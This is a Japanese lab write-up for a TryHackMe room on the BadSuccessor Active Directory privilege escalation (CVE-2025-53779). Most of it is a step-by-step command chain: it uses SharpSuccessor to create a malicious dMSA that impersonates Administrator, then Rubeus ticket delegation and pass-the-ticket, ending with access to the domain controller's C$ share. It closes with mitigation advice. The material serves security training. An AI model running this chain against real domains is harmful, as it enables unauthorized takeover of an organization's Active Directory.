Active-Directory-BadSuccessor

概要

このルームでは、Active Directory の委任管理サービスアカウント (dMSAs) を悪用する脆弱性である BadSuccessor 権限昇格テクニックについて学びます。この攻撃により、dMSA オブジェクトを十分に制御できるユーザーは別のアカウントを偽装し、場合によってはドメイン管理者権限を獲得できる可能性があります。

ルーム情報

ルーム: https://tryhackme.com/room/adbadsuccessor

難易度: 中級

日付: 05/06/2026

バージョン: 1.0

目的: 委任管理サービスアカウントがどのように悪用されて権限を昇格し、Active Directory 環境を侵害するのかを実演します。

役割: Terry Byte (tbyte)

目標: 新しく導入された Active Directory 環境のセキュリティを評価し、BadSuccessor 攻撃に対して脆弱かどうかを判断します。

攻撃経路

この攻撃は主に 2 つのフェーズで構成されます:

1. 偵察。
2. dMSA の悪用による権限昇格

偵察

ステップ 1 - ターゲットマシンに接続する

• 提供された Windows ワークステーションに RDP で接続します:

xfreerdp /v:10.211.101.20 /u:tbyte /p:P\@SSw0rd345 /dynamic-resolution

• 認証後、PowerShell を開きます。

ステップ 2 - 作業ディレクトリへ移動する

• Proof-of-Concept ディレクトリへ移動します:

  cd C:\PoC
  

• 内容を確認します: dir

ステップ 3 - 列挙スクリプトを入手する

• Akamai の BadSuccessor リポジトリから PowerShell スクリプトをダウンロードします:

https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1

• メモ帳を使用してスクリプトを作成または編集します:

notepad Get-BadSuccessorOUPermissions.ps1

• 内容を貼り付けてファイルを保存します。

ステップ 4 - OU 権限を列挙する

• スクリプトを実行します:

 .\Get-BadSuccessorOUPermissions.ps1

• 出力には、委任管理サービスアカウントを悪用できる可能性のある権限を持つアカウントが表示されます。
• スクリプトが返す 3 番目のアカウントを特定します。
• このアカウントは、権限昇格フェーズで使用します。

Windows を使用した悪用

ステップ 1 - 悪意のある dMSA を作成する

• SharpSuccessor を使用して、Administrator アカウントを偽装する委任管理サービスアカウントを作成します:

  .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
  

  

何が行われるのか?

• このツールは新しい dMSA オブジェクトを作成し、Administrator アカウントを継承するように構成します。
• これにより、権限昇格の基盤が確立されます。

ステップ 2 - Kerberos TGT を要求する

• Rubeus を使用して、委任チケット発行チケット (TGT) を取得します:

  .\Rubeus.exe tgtdeleg /nowrap
  

  

• このコマンドは Base64 エンコードされた Kerberos チケットを返します。

• 生成されたチケットをコピーします。

ステップ 3 - dMSA アカウントを偽装する

• 委任 TGT を使用して、新しく作成した dMSA アカウントとしてチケットを要求します:

 .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>

結果:

dMSA アカウント用の新しい Kerberos チケットがメモリに注入されます。

ステップ 4 - Administrator としてサービスチケットを要求する

• dMSA チケットを利用して、Administrator コンテキストで実行されているサービスへのアクセスを取得します:

  .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>
  

  

結果:

• CIFS サービスチケットがメモリに読み込まれます。
• このチケットにより、通常はドメイン管理者権限が必要なリソースへのアクセスが可能になります。

ステップ 5 - Administrator のデスクトップにアクセスする

• ドメインコントローラー上の Administrator プロファイルを参照して、昇格したアクセスを確認します:

 dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

• ディレクトリの一覧表示に成功すると、管理者レベルのアクセスが確認されます。

ステップ 6 - フラグを取得する

• Administrator のデスクトップに保存されているフラグを読み取ります:

  Get-Content \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\flag.txt
  

  

• フラグの取得に成功しました。

BadSuccessor が重要である理由

BadSuccessor は、委任管理サービスアカウントが Active Directory 環境に権限昇格の経路をもたらす仕組みを示しています。Active Directory は多くの組織のアイデンティティ基盤として機能するため、Kerberos やアカウント委任に影響する脆弱性は深刻な結果を招く可能性があります。

dMSA オブジェクトに対して十分な権限を持つ攻撃者は、以下のことが可能です:

• 特権ユーザーを偽装する
• 昇格した Kerberos チケットを取得する
• 機密リソースにアクセスする
• ドメイン管理者へ権限を昇格する
• Active Directory フォレスト全体を侵害する可能性がある

緩和策の推奨事項

BadSuccessor (CVE-2025-53779) を緩和するには、組織は Microsoft のセキュリティ更新プログラムを速やかに適用し、dMSA の権限を制限・見直し、不審な Kerberos アクティビティを監視し、委任関係を監査し、最小権限の原則を徹底する必要があります。Active Directory の委任設定を定期的に見直すことで、潜在的な権限昇格経路を特定し削減できます。

重要な学び

このルームでは、以下の分野で貴重な実践経験を積むことができました:

• Active Directory の権限昇格
• 委任管理サービスアカウント (dMSAs)
• Kerberos 認証の悪用
• Rubeus によるチケット操作
• SharpSuccessor による悪用
• 侵害後の検証テクニック